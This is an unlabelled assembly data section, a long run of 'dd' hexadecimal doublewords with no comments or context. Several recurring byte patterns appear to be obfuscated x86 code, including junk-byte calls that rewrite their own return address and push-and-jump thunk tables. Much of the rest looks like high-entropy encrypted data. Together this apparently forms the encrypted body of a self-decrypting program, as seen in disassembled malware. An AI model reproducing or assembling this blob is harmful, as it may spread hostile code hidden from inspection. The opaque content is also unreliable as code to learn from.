		dd 3A0E712Eh, 2ED60678h, 0A0620E71h, 0A066360Ch, 3E3808D2h
		dd 33FFB3D8h, 4065CB31h, 389h, 3A879000h, 0F4190FE0h, 51767040h
		dd 0ABD0D29Dh, 92E28F7h, 658A8855h, 0C1E6E4B1h,	20453B0Dh
		dd 799EA06Ch, 0D4F9F7C5h, 0E08950FFh, 405h, 4E88300h, 8B240487h
		dd 89502424h, 405E0h, 42D0000h,	87000000h, 895C2404h, 8951242Ch
		dd 4C181E1h, 83000000h,	0C8704E9h, 1C895C24h, 0FFCB6824h
		dd 2C8B062Eh, 4C48324h,	74ED68h, 24248900h, 4240481h, 5B000000h
		dd 8904EC83h, 0EA892414h, 5A085389h, 5B2434FFh,	0FF04C483h
		dd 835D2434h, 0CEE904C4h, 0B4FFF97Ah, 143BF9A3h, 5177D31Ch
		dd 9CB84266h, 3062F04h,	7AE0FFC5h, 142045F8h, 3D752073h
		dd 0E54414C8h, 5053A35h, 0D7160CCDh, 0FC4448FFh, 521D78A2h
		dd 73237FFh, 0E246DEE8h, 980F500Ch, 7128AE07h, 0F5392D70h
		dd 271D3B19h, 101841DFh, 1972A15Eh, 0C34F7070h,	5806F927h
		dd 916049FAh, 4A3EF2D0h, 8D749906h, 2F06798Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 158D8920h, 0E8062807h, 13h, 12BC30F8h, 0AF78557Fh, 39761CC9h
		dd 4111934Eh, 0BA3D8EC2h, 42404529h, 0AE85Eh, 0F7260000h
		dd 0BF25E91Bh, 0F70890E7h, 8B0Fh, 0C75E0000h, 2821BD85h
		dd 5DC406h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0B64ED257h, 7F73D7D2h, 61605257h
		dd 0A7B35A5Bh, 113D85C7h, 628h,	8B660000h, 21B5FFF9h, 6A062813h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0E994C353h, 9C183988h, 0F8F1CEA6h, 14D995FFh
		dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0AA5153C3h, 0F2FC7718h, 29F1F9C9h, 281711B5h
		dd 0FD858B06h, 6A062833h, 6595FF00h, 8B062804h,	2B29EBC0h
		dd 7CBB0A47h, 51F65667h, 35CC5A57h, 0EB7225Ah, 13FCA6EAh
		dd 3C6F4DE9h, 425C6DF0h, 0EB26410Dh, 8AF75F3Fh,	400AEA1Ah
		dd 7B58D8Dh, 6A062Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BF0F0BC3h, 51CA81FEh, 897203E0h
		dd 2807158Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0BD313178h, 62812B9h, 21BD85C7h
		dd 59200628h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 800FFCC3h, 0
		dd 113D85C7h, 628h, 9D890000h, 62800B5h, 26BDB5FFh, 6A0628h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0BDEAFFC3h, 82D4E6BDh, 14E8C4BCh, 59000000h,	0FAF9B079h
		dd 22487491h, 5A03A10Dh, 61393360h, 51A3228Eh, 585FC38Bh
		dd 14D995FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1434FC3h, 2116719Bh, 399D2924h
		dd 6A062818h, 6595FF00h, 8B062804h, 0ED29EBC0h,	0B7D6D9D0h
		dd 4BBF9962h, 0A5CF524h, 0F9B4722h, 0A78C8511h,	0FD0EA0CEh
		dd 902B5612h, 48D0B60Ch, 882EA02Eh, 0EB5C2444h,	8928D8Dh
		dd 6A062Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 44AFFDC3h, 0C6B70F2Dh, 0FC74DB81h, 8D895F9Bh
		dd 6280715h, 34B1958Bh,	0FE90628h, 0B8000000h, 9ED2C775h
		dd 8DC7A697h, 0F6A4CDA5h, 85C75DC7h, 62821BDh, 5DCCh, 829B58Bh
		dd 85C70628h, 628113Dh,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B1C35040h
		dd 13A84EECh, 1479BD8Bh, 0BD890628h, 6282D8Dh, 2EC9B5FFh
		dd 8A0F0628h, 0
		dd 14D995FFh, 0DF8B0628h, 95FF006Ah, 6280465h, 5FEBC08Bh
		dd 37823147h, 6C65C5A1h, 0F4C6EED0h, 0FBAE64D6h, 0D2035939h
		dd 0D5F975E2h, 1A83FA23h, 45048049h, 2E402438h,	0AAA51868h
		dd 57E9ED14h, 95BD5222h, 5701E726h, 95557A8Ah, 0DB09CE8Eh
		dd 9C3D35C1h, 4878E8D5h, 40120F46h, 4730E94Ch, 0E8FA6679h
		dd 0C83B9DF7h, 99EA43E2h, 0CF012FB7h, 0E8CD02EDh, 0Ch
		dd 6330858Dh, 671F57BCh, 5B174003h, 8B6658F9h, 0EDC081CFh
		dd 89000062h, 281631BDh, 6806h,	8D0B0000h, 62801DDh, 30BB605Bh
		dd 0F470F4Ah, 687h, 8AD08100h, 6109BDE2h, 0BF0334FFh, 3EE0B175h
		dd 0EF81665Ah, 0F28110B7h, 3521B7F3h, 3136E9B9h, 6FEA8116h
		dd 894B085Dh, 281E9D85h, 2F28106h, 0BF038E24h, 353666C0h
		dd 0F9BD8952h, 8F06280Dh, 0BE91804h, 0CC000000h, 0CA311FD1h
		dd 5B85AABh, 0C580BC4Ch, 62EB8168h, 0E83EAAA9h,	0Eh, 0EDF738BEh
		dd 2D25E73Ah, 0FB275666h, 9D895F40h, 6280FA1h, 5EC3815Fh
		dd 813EAAA9h, 38BB8C6h,	10FB814Bh, 0FFFFF9Eh, 2B85h, 9E800h
		dd 942F0000h, 1ED90862h, 0F4D751Eh, 687h, 919D8900h, 5F06282Fh
		dd 20E9h, 0A7153700h, 1D64B21h,	9EC951B0h, 0D61B589h, 45E90628h
		dd 32FFFFFFh, 9082A072h, 0B1B8765Dh, 0B98D8D7Eh, 6A062F0Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 8AC8C350h, 89C2BF0Fh, 2807158Dh, 7E906h
		dd 0BEE90000h, 0EA69C868h, 0BD85C767h, 0D8062821h, 23000059h
		dd 2820B19Dh, 3D85C706h, 62811h, 8B000000h, 85B5FFFEh
		dd 6A06281Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 5907C355h, 7D2B5991h, 8166CD9Bh
		dd 0FFBA2AF6h, 2814D995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0DB7AF828h
		dd 75DD9E18h, 0B70FF94Ah, 89B50BD2h, 6A062800h,	6595FF00h
		dd 8B062804h, 0AB1BEBC0h, 0ECFB13A6h, 0FFDAE3D8h, 63A4687Ah
		dd 4B84D490h, 9797C5ABh, 0E7AF9679h, 0BE85DC0h,	3D000000h
		dd 0DCFCC9CFh, 5037AB0Dh, 0BE95350h, 0C2000000h, 0F20F266Dh
		dd 6EB2436Ah, 0F85E92A2h, 749DC681h, 95290000h,	62822D9h
		dd 858BFF33h, 6281FEDh,	813E1C8Bh, 69E537EBh, 65958B59h
		dd 81062803h, 5496E8C3h, 0A6F08117h, 81797091h,	213BCAF3h
		dd 0CAEC806Bh, 0F3E1C89h, 682h,	55950300h, 66062804h, 0EF83C68Bh
		dd 5AB96603h, 0DE84F85h, 0B000000h, 0CA18A786h,	9EDD515Ch
		dd 534D8508h, 841858Bh,	81590628h, 0FF8C30FFh, 2A850FFFh
		dd 0E8000000h, 13h, 0B1A956E0h,	5E67F41Dh, 0EF4A5B7Bh
		dd 5CED99A0h, 29D35BC2h, 28211185h, 19E95A06h, 90000000h
		dd 618821D2h, 0A1B5894Fh, 0E906282Dh, 0FFFFFF68h, 0B773DDEh
		dd 31FA9977h, 0D2585C6h, 68560628h, 0A9C530DFh,	140DB5FFh
		dd 858D0628h, 62B6F58h,	8D8DD0FFh, 62821D1h, 0FF406A51h
		dd 2811ADB5h, 0F1B5FF06h, 0FF06280Fh, 0ADB5FFD0h, 0FF062811h
		dd 280FF1B5h, 0CE806h, 81240000h, 0B4B93D00h, 0DBC3E248h
		dd 5F5F2FE3h, 0C104EF83h, 0C102242Ch, 3022424h,	1CF7243Ch
		dd 8BD23324h, 0EB81171Ch, 1A9C68C6h, 8C3EB81h, 0EB81418Dh
		dd 1C07FD5Fh, 17048F53h, 3B04EA83h, 850F2414h, 0FFFFFFDBh
		dd 3919D8Dh, 38B0628h, 840FC00Bh, 7, 5B8B038Bh,	8B188904h
		dd 0F8D8DC9h, 6A062F0Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1A11C352h, 158D89AFh
		dd 9062807h, 281D598Dh,	0BD85C706h, 34062821h, 0E8000066h
		dd 6, 26A47D4Ah, 858B3190h, 6280F99h, 3D85C758h, 62811h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8BA3C357h, 281A35BDh, 0BD8B5206h
		dd 6280F11h, 79B5FF5Fh,	6A06282Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 18B8C357h
		dd 81667CD5h, 0BFA8D3EFh, 4C26DB8Fh, 14D995FFh,	0BF0F0628h
		dd 0FF006AD8h, 28046595h, 0EBC08B06h, 0D81E0B4Ah, 1CF66B55h
		dd 0E8C4AA35h, 2268C811h, 3A3B77EDh, 553C4225h,	34E372C7h
		dd 1A0B9CABh, 0AD510C01h, 0B03FF6CCh, 0A3AC0D8Fh, 5B7F58F1h
		dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 491EA6Bh,	47CFFB84h
		dd 9E1995FEh, 0E9472DECh, 0DEh,	7F506125h, 0CA459CD7h
		dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h
		dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h,	92A5BCF2h
		dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h,	0A3F292A5h
		dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h,	8A924AF0h
		dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h
		dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h,	207D20B2h
		dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh,	8F9D728Fh
		dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h
		dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 9 dup(0)
		dd 12E90000h, 68000015h, 62F103Ah, 0F9718CE9h, 111F68FFh
		dd 82E9062Fh, 68FFF971h, 62F1202h, 0F97178E9h, 131C68FFh
		dd 6EE9062Fh, 68FFF971h, 62F1396h, 0F97164E9h, 144368FFh
		dd 5AE9062Fh, 68FFF971h, 62F14E1h, 0F97150E9h, 157D68FFh
		dd 46E9062Fh, 68FFF971h, 62F1643h, 0F9713CE9h, 17AC68FFh
		dd 32E9062Fh, 68FFF971h, 62F18CDh, 0F97128E9h, 1A5C68FFh
		dd 1EE9062Fh, 68FFF971h, 62F1B4Eh, 0F97114E9h, 1C8F68FFh
		dd 0AE9062Fh, 68FFF971h, 62F1E0Ch, 0F97100E9h, 1FE468FFh
		dd 0F6E9062Fh, 68FFF970h, 62F20CDh, 0F970ECE9h,	291FF0FFh
		dd 0DCDAA8ACh, 8D8F5B5Fh, 443A0C10h, 0F8F6C3C7h, 0DB2A787Bh
		dd 8F93100Eh, 4549C6C0h, 0F7FB787Ah, 8AB02D27h,	9D4494FAh
		dd 1DF0795Ch, 1610E0A8h, 736D3DF1h, 123306F6h, 925540A6h
		dd 9557755Bh, 91587C70h, 9662795Bh, 0E9BB6F94h,	7CF4CEF3h
		dd 529809C3h, 2D5D1C99h, 2059C159h, 86000000h, 980421F4h
		dd 5BBEAB32h, 0E60BCD75h, 5B862EF2h, 9A539979h,	59445C1Dh
		dd 1025AC1h, 0A6870000h, 10458282h, 1AAEA4CAh, 557A7444h
		dd 6AD6D4A1h, 0FE97A046h, 73404098h, 232F47Fh, 0F3877185h
		dd 0ACA6762Ah, 0C3401C40h, 0D22E7276h, 0ADD80066h, 9A5C7F73h
		dd 0B9893D06h, 0D02F53BFh, 0B30EDC0Ch, 0FF3D5EF2h, 0DB0B0DD9h
		dd 7244610h, 0DFF58970h, 7F739517h, 73450BDBh, 969A177Dh
		dd 60CCC6h, 73B3429Ah, 0A034F67Fh, 736437D7h, 993FA5A1h
		dd 9B7F73B3h, 0A10D73D9h, 53491B41h, 9CB2462Eh,	755BB009h
		dd 3C2CA96Bh, 7AE04C69h, 73750C18h, 284EBA7Ch, 91F15D5Bh
		dd 7DE1EB6Dh, 0D7FCD83h, 73215ECFh, 0E10DB69h, 0EFF314A8h
		dd 868A5822h, 215EF820h, 54BA7C73h, 73E1472Fh, 0B401D13Ah
		dd 7020D7B2h, 0A6000012h, 5E62DFD5h, 11159290h,	0C2C64345h
		dd 797DFAF0h, 2E31AEACh, 0C6C49160h, 7C764549h,	2E30FBFFh
		dd 0E3DDADB1h, 4AB04066h, 795C8392h, 0E05ED3A6h, 94981513h
		dd 0E44DCAC4h, 0A27F82A6h, 7EE50013h, 305528EAh, 36FF5EC4h
		dd 31F9755Bh, 5B0E0DCBh, 0FF652779h, 0E32E6DAh,	478D795Bh
		dd 0CC68118Eh, 0CA2AC159h, 5B3AB464h, 0CCFEC079h, 816D01FFh
		dd 0B2h, 1610E0AEh, 72703DF1h, 8EAD594Dh, 0F51B7F73h, 1F072C26h
		dd 1FE5B58Bh, 7B2F5452h, 0E74DB3A9h, 38062C6Ah,	992D153Ah
		dd 0D4F9F3C3h, 777A6134h, 0A3000B86h, 268CF85Eh, 755B7283h
		dd 0D29867F5h, 0F8E00507h, 0BFAF2C92h, 5131FDECh, 0CE1CD847h
		dd 6BD1CF9Ch, 5C8A99FFh, 0EAAC7375h, 8D8B587Eh,	413F0C10h
		dd 1264D3h, 762D08B4h, 118Bh, 7DFAF0C1h, 30ADAB79h, 0E15E602Ch
		dd 98150BDDh, 4CC9C794h, 0DFAC1D49h, 916064E1h,	4B161A97h
		dd 0F8C8CC49h, 0CB5B81FEh, 5C82B765h, 79EEC179h, 981513E0h
		dd 45DA365Ah, 4D33EB10h, 1913E3B9h, 10E0339Ch, 6D3DF116h
		dd 11E10773h, 760AF217h, 83855155h, 7E4A705Eh, 4212E87Ch
		dd 9ECCCB48h, 960223F6h, 5B860930h, 3DA96B75h, 9EA177DDh
		dd 47D3795Bh, 0F3B69426h, 0D76BD1C5h, 8F6187A7h, 0F3C07499h
		dd 0E5FB8FF5h, 62D56432h, 7EEA0BDEh, 658A8C58h,	73D9E97Dh
		dd 88E95A74h, 0C9B7DC9Eh, 92A206A5h, 4FE39989h,	80CFBA8Dh
		dd 4EC7AC0Fh, 0B1D743A9h, 0EC0E5E3h, 9D83CAD7h,	871B8188h
		dd 88771177h, 57197685h, 31F5C5EBh, 61D6C6CAh, 80FD63E7h
		dd 44B2AC7Ch, 0B2549EFFh, 0A8DD946Fh, 0DE000010h, 969A170Dh
		dd 494DCAC8h, 0FAFE7B7Dh, 0B1B53228h, 6669E6E4h, 0FEFCC938h
		dd 0B4AE7D81h, 66683337h, 1B15E5E9h, 82E8789Eh,	795C815Ah
		dd 0E0960BDEh, 3F11610h, 0EC110FDDh, 0DBAE7004h, 0C8EE4EBAh
		dd 0F0D8FDFBh, 822F465Ch, 0BB49755Bh, 0E8BF1EBh, 0BE2A4B1Eh
		dd 73A67958h, 2187E773h, 7323A2FBh, 0CB27BB7Dh,	0F11DD03h
		dd 23A27F9Dh, 0D137F973h, 0A264B8ACh, 95F7323h,	37D521E5h
		dd 0D1A11D09h, 64CAB2D7h, 9A17D0D0h, 0C78195DFh, 30D7h
		dd 21F40400h, 12389804h, 9BB14547h, 755B44D7h, 395FCB8Dh
		dd 0B1EF6C6Eh, 9DC2BC8Bh, 0CB0B21B5h, 0EF795BDCh, 0A4A8251Fh
		dd 0FBB2D7D9h, 0FE7h, 3182A602h, 39F461B4h, 0D93F3D0Ah
		dd 0C7B08345h, 2C98FEF8h, 22CDE0C6h, 0E6521475h, 79F6F0C0h
		dd 10DFA575h, 0A309F116h, 0EA0BDE7Eh, 8C8A587Eh, 0F982E8F8h
		dd 7B730DD0h, 57274DB9h, 0CDCE05Dh, 7A4DED12h, 2087ED59h
		dd 527905D0h, 9EB72290h, 6843AAD5h, 0F8EB1h, 0FDF3C400h
		dd 0B0AE7C80h, 61632F33h, 180EE0E4h, 0CCCA979Bh, 0AF1E4C4Fh
		dd 6367E4E2h, 191D9A94h, 0CBCF4C4Eh, 5E8401FBh,	80B068CEh
		dd 0F1C4795Ch, 937CA07Ch, 0C79A7F73h, 0A7CC329Eh, 9752286h
		dd 851913E3h, 0DDFB6129h, 57795C9Eh, 9DC32F95h,	5256D3CDh
		dd 0C3638882h, 767D3F0h, 0A81416E1h, 5C9D9A42h,	48DC9E79h
		dd 748C5332h, 5733573h,	0B4043D90h, 148A411Ch, 4A00000Fh
		dd 2068379h, 0B5B93634h, 666AE7E9h, 1D219E94h, 0D2D55250h
		dd 6A683584h, 201AE9EDh, 0D2D49FA3h, 87815155h,	0EE54E40Ah
		dd 795C802Eh, 0E002774Ah, 3DF11610h, 0B64E736Dh, 0F58401BAh
		dd 0C1BB312Ah, 970h, 421F4EEh, 86723298h, 54167522h, 0F8F2C2E8h
		dd 9E94668Ch, 0F7258B79h, 81795C9Dh, 0A4C559BFh, 0EAE94266h
		dd 284D4717h, 14B41040h, 7A4A20B4h, 16C4147Ah, 28F6795Ch
		dd 4AB0722Ah, 0C0187EDEh, 74795C16h, 0B6B080B2h, 4C15A991h
		dd 5C168458h, 567F5279h, 7ED84EAh, 0C5877374h, 48BC857h
		dd 0D28964B4h, 0E67h, 59D6CC9Dh, 0C898755h, 0BD3A3C08h
		dd 74F1E7B9h, 28A5A370h, 0BB887925h, 6D3C40BDh,	27F2F673h
		dd 0D4A4A825h, 0A7375DDAh, 5C879B41h, 55CA9D79h, 0F11610E0h
		dd 0D5A76D3Dh, 0BC5479DFh, 0EF8A07C0h, 0C7BB312Ah, 8C0h
		dd 937CA0F4h, 0C79A7F73h, 0AED2329Eh, 84F7E9Bh,	344ADE87h
		dd 752260BCh, 80CE4CD8h, 31083708h, 6B395FCBh, 0CC60486Dh
		dd 0CCC696BCh, 716B3A60h, 0E8B8BCDDh, 4D5E82EEh, 0A8DFFDA1h
		dd 6606CF63h, 0A0067293h, 737440C1h, 0F673E1A3h, 76B404CEh
		dd 0DC9E49Bh, 2EFF0000h, 0E9B7BB38h, 9E6A6EEBh,	491B1F9Ch
		dd 5D2D653h, 0DB878A07h, 0A21F1DEAh, 58D5CF9Eh,	0A878954h
		dd 0BF3C3606h, 75A30999h, 0FF795C87h, 10E0B72Ch, 6D3DF116h
		dd 0BAB64E73h, 2AF58401h, 25C1BB31h, 0EE000008h, 0B3B580A6h
		dd 94B9AF81h, 835618ACh, 7D90F662h, 1F752285h, 0FBCBF15Dh
		dd 0B0808401h, 0B61C18EAh, 795C9D66h, 84EA5012h, 9DA96B5Fh
		dd 0B717795Ch, 5C9D8B51h, 57EBAD79h, 35A1C295h,	1D42440Fh
		dd 2B91A135h, 73748C54h, 0BFE6C2Eh, 0F7B4043Dh,	0D2D651Ch
		dd 92630000h, 4D1B1F9Ch, 2CED24Fh, 0AD7F8300h, 69363AB7h
		dd 0BFEBEE6Bh, 683814Eh, 0BC393302h, 6EEBEDB8h,	23A09A6Ah
		dd 0D1076DFDh, 63795C86h, 82A61B90h, 2FD815AAh,	1FF5891Fh
		dd 0C3E9554Fh, 1FD3F8F6h, 59ED5351h, 120CDC90h,	0A05955EDh
		dd 31975623h, 0DF183CBBh, 466E8FECh, 6D4834C8h,	75000007h
		dd 739379A0h, 0A1C2957Fh, 8563CF35h, 0A7CD7522h, 464010DAh
		dd 0AED33921h, 14D632C6h, 0B62448A8h, 0EE2E9482h, 8A795C93h
		dd 0E42C98C8h, 0D2A2780Ch, 87575BD8h, 547A688Dh, 0F2ECBC86h
		dd 5EE15C8Ch, 5FDEE315h, 73609CBh, 5C0F7BA1h, 0D53BFD79h
		dd 18140369h, 5C1E7374h, 4B111EEh, 4B02DDB4h
		dd 0C67h, 59D6CC9Dh, 0C898755h,	0BD3A3C08h, 74F1E7B9h
		dd 28A5A370h, 0BB887925h, 6D3C40BDh, 27F2F673h,	0D4A4A825h
		dd 0A7375DDAh, 5C859B41h, 55CA9D79h, 7F4A10E0h,	0A70587Dh
		dd 676131E5h, 24DD7B42h, 57D4CE9Eh, 9797F519h, 3BE0BFD1h
		dd 0E99FDAA7h, 8617BB31h, 6F000001h, 5573A90Fh,	43057F73h
		dd 10E074AFh, 6D3DF116h, 92B8F673h, 332DFCC2h, 0A47739CDh
		dd 0CF5619B5h, 0BA2042C6h, 0C2FDE84Eh, 73FF755Bh, 7140AC32h
		dd 3A6A5277h, 389EBB1Eh, 0D8DAA6CCh, 6E37CBB3h,	5B29A67Ah
		dd 22DB2179h, 59E5D4A5h, 64E2C1h, 0F40F0000h, 72980421h
		dd 9981A6A4h, 9311C72Dh, 61237F73h, 0C057BDCDh,	0F2755BBEh
		dd 8614C42Ah, 5E20795Bh, 0F0688CF8h, 5C7CE2C4h,	0D8795B5Eh
		dd 5C61E616h, 0D636AAF9h, 0EB510073h, 7CA08E57h, 0D4118F65h
		dd 0ACC25660h, 795B9968h, 0A3C8C292h, 12620EFh,	4701BA1Ch
		dd 5AD790D6h, 0C159391Fh, 0A697h, 10E0C400h, 703DF116h
		dd 93D6066Ch, 0A0627F73h, 9161153Ah, 0EEBE7297h, 0FB3377F4h
		dd 1F7F73A7h, 0EF318B4Fh, 0A0C13E63h, 0FACDBD3Ah, 0DE443E0Dh
		dd 8A830C72h, 0DFA1755Dh, 0B6804D73h, 0DDC5EAE8h, 17E50B77h
		dd 60648519h, 4B01CB93h, 0AB53D313h, 5C30D745h,	0E1BCBE78h
		dd 0AFE2Ah, 6D633400h, 201EECF0h, 0D1D39FA3h, 887E5054h
		dd 3C3A070Bh, 1FEEBCBFh, 0D3D75452h, 898D0A04h,	3B3FBCBEh
		dd 0CEF4716Bh, 8400D83Eh, 6134795Ch, 0B180A6ECh, 804D23B7h
		dd 31010582h, 7BA09E6Bh, 9BC12D93h, 0C0A8CDCFh,	0E0A20B2Ch
		dd 3F11610h, 0EC110FDDh, 0EA329804h, 8E7F7393h,	926238CCh
		dd 39141B98h, 46000005h, 935880E6h, 4EDC7F73h, 8C20867Ch
		dd 0FE21F451h, 73934098h, 0CC32F47Fh, 0BDA0060h, 147A7845h
		dd 8C976A80h, 27E9755Bh, 0C9C795BBh, 0A4786C35h, 1F795B94h
		dd 0D6A320D9h, 0BCC15936h, 38CCC696h, 25D4Ch, 7BA07900h
		dd 937F7393h, 0E1379DC0h, 937F7393h, 9FFF6BD1h,	3DAFA979h
		dd 7F73939Fh, 0DAA5D799h, 0CE3444D8h, 7522855Eh, 0EC4CB87Ah
		dd 0D4F9FBC6h, 9E5880E6h, 1ADC795Ch, 7A4A20B4h,	4E1BE9B4h
		dd 0DD432B50h, 21E70B77h, 0EAC53BD3h, 101435C9h, 0B1AB7A40h
		dd 1438264Bh, 1BF1C3C5h, 0C98B1FCCh, 0FB61CDF6h, 73744A1Ch
		dd 0DE65416h, 0C1B404C3h, 9DD2FE6h, 42130000h, 0FDCBCF4Ch
		dd 0B27E82FFh, 5D2F33B0h, 19E6EA67h, 0CF9B9E1Bh, 0B63331FEh
		dd 6CE9E3B2h, 1E9B9D68h, 0D3504A1Ah, 61B71DADh,	13795C8Bh
		dd 80A6CB40h, 0A991B6B0h, 756F3F15h, 9C026250h,	7F73937Ch
		dd 640636F8h, 0CBC6F6A8h, 4D4AA3Eh, 0D4093A40h,	0F75547Bh
		dd 0B3AD7DA3h, 4912A68Eh, 0E74D482h, 7F73DBCEh,	1414A86Ah
		dd 0B05D55Bh, 5A2A508Eh, 0BF533B60h, 317787F2h,	1682FBBh
		dd 0E05C0000h, 3DF11610h, 0E307736Dh, 0F553E7C1h, 8892F17h
		dd 9F56BF23h, 9484A539h, 1438A4C1h, 669BDB0Bh, 4454E830h
		dd 5BD6F3DEh, 9C67F575h, 0D6EE2E94h, 0C88A795Bh, 0EF553D62h
		dd 0D602D6CAh, 377D795Bh, 7078017Eh, 0BA1AC159h, 5BDE8454h
		dd 5AEEB079h, 466Eh, 21F49B00h,	0AB329804h, 19755BBEh
		dd 0F92B21F3h, 1E062B2Dh, 0ADA22E8Ah, 0A3CAE5E3h, 484A1648h
		dd 17C9BDE2h, 70795B74h, 0EB7FF61Ah, 993315ABh,	8C4C0505h
		dd 0C5E39968h, 0C95D4E85h, 59437DFCh, 0BE39C1h,	0E0660000h
		dd 3DF11610h, 5F4D7270h, 0CF9A233Bh, 0F7DF0402h, 1B77BBC7h
		dd 0E7E1B187h, 4BB0D4C2h, 6C686383h, 8322FA60h,	94567F73h
		dd 342AFC2Eh, 0BD93270Fh, 6387F3EDh, 7020E2F4h,	3354E8F1h
		dd 73D127EFh, 35FBCB7Fh, 8F43686Ah, 0B9A1C6C0h,	8070ED53h
		dd 0B61C88ADh, 755DD429h, 0F2F0BD4Bh, 2DFA208Ch, 0E1AEB22Fh
		dd 9AAA75E3h, 6B46BE78h, 84EB4h, 0BDB38400h, 706E3C40h
		dd 2123EFF3h, 0D8CEA0A4h, 8C8A575Bh, 6F5E0C0Fh,	2327A4A2h
		dd 0D9DD5A54h, 8B8F0C0Eh, 1E44C1BBh, 89F0288Eh,	0B184795Ch
		dd 1513E03Ch, 65345A98h, 93D9FF65h, 995B7F73h, 0F4260E33h
		dd 0C0962A24h, 1079F6F0h, 0F11610E0h, 0F6736D3Dh, 297EFh
		dd 21F4F600h, 12389804h, 39214644h, 85438FA5h, 1FE17522h
		dd 9DD206FAh, 57AD795Ch, 0D4686231h, 0FB5B1BD4h, 5C9D4795h
		dd 9B2FF179h, 603DABCEh, 2187E7C1h, 795C89FBh, 89B563C9h
		dd 0FDBF795Ch, 3EF8345h, 227h, 937BA030h, 0C0937F73h, 9D137A3h
		dd 2B752285h, 3A08CE9Dh, 0C92F173Ch, 1D1F763h, 0A7759B07h
		dd 0F0F415A9h, 13012620h, 9D8F4DB3h, 0E1A9795Ch, 5C9D5D7Bh
		dd 0AF15D779h, 1DB1AF7Dh, 0FF6B885Bh, 748A8299h, 84F2B473h
		dd 0B4040043h, 5CB9704Bh, 92000007h, 4A4ECBC1h,	0FD017E7Ch
		dd 0AEB22F31h, 6569E6DCh, 1A1D9A98h, 0B2B07D4Ch, 68623135h
		dd 1A1CE7EBh, 0CFC9999Dh, 369C2C52h, 795C88E6h,	0E04ABF92h
		dd 3F11610h, 0DE1012DDh, 0A77D1113h, 0AB71D7D7h, 0CD7F7393h
		dd 0B980A50Bh, 1719E50Bh, 76760AF2h, 676737BDh,	7393DB01h
		dd 359B5D7Fh, 0D8D6A3C9h, 51282344h, 65BB312Fh,	167h, 1610E092h
		dd 6D6D3DF1h, 7393D107h, 3BA1637Fh, 8B5A80BEh, 683BFD91h
		dd 6E79DF4Bh, 90755B92h, 12373502h, 0B19FC42Ah,	4CB548Dh
		dd 74080308h, 5B14BA5Eh, 6BF0579h, 59B1F089h, 0DC42A2C1h
		dd 795B1C3Ch, 0F6E27638h, 29h, 0EF82A623h, 9354A35Eh, 21F4B64Ah
		dd 0AB329804h, 0CD755B51h, 2EF2E60Bh, 99795A97h, 5C1D9A53h
		dd 5AC15A33h, 0CCh, 4A10E087h, 70587D7Fh, 97F7E50Ah, 7393EB31h
		dd 4943137Fh, 0C2843C24h, 878B582Eh, 7393FB21h,	1FEF7D7Fh
		dd 0B2180025h, 4EB4B280h, 0ABA57529h, 802D286h,	196F478Bh
		dd 43137F73h, 9DCCC49h,	8D1A80ECh, 0AF755D4Ah, 8E5B81EDh
		dd 90F6F8C4h, 44420F13h, 78001FD6h, 1B893BEh, 61Bh, 0D8A8051h
		dd 0C03D3B09h, 71EEF0BCh, 28A59B6Dh, 0DC595724h, 6F3C8DD9h
		dd 21F0F471h, 0DBA6AA27h, 88585CD9h, 5BEB118Eh,	5C8F27F5h
		dd 97E5179h, 34B13E0h, 6A61102h, 8EB21E84h, 945F4649h
		dd 55856D92h, 0C12DD0D5h, 7309BD5Bh, 61F5B77Fh,	0FDE0240h
		dd 6B6D39D9h, 4D2E5E46h, 0BD93276Bh, 905A27EDh,	0B79FC4C2h
		dd 56EEB51h, 0F11610E0h, 0D5A76D3Dh, 0B5180315h, 40A68FCCh
		dd 9A9C671Bh, 262CE34h,	73767C9Ch, 0A236F87Fh, 2A7A81h
		dd 0E0810000h, 84AA1610h, 5922B6B8h, 7D73456Bh,	494313E9h
		dd 19D24A24h, 5DC9C393h, 934197FDh, 31F37F73h, 36757C9Dh
		dd 7C000000h, 0B1B180A6h, 73938D4Bh, 7FE5A77Fh,	8DE725Ah
		dd 25193E38h, 7F7393F2h, 0DE9E57F9h, 93C0187Eh,	0E6747F73h
		dd 20B41A18h, 147A7A4Ah, 7F7393C4h, 0CB48AE70h,	1010E062h
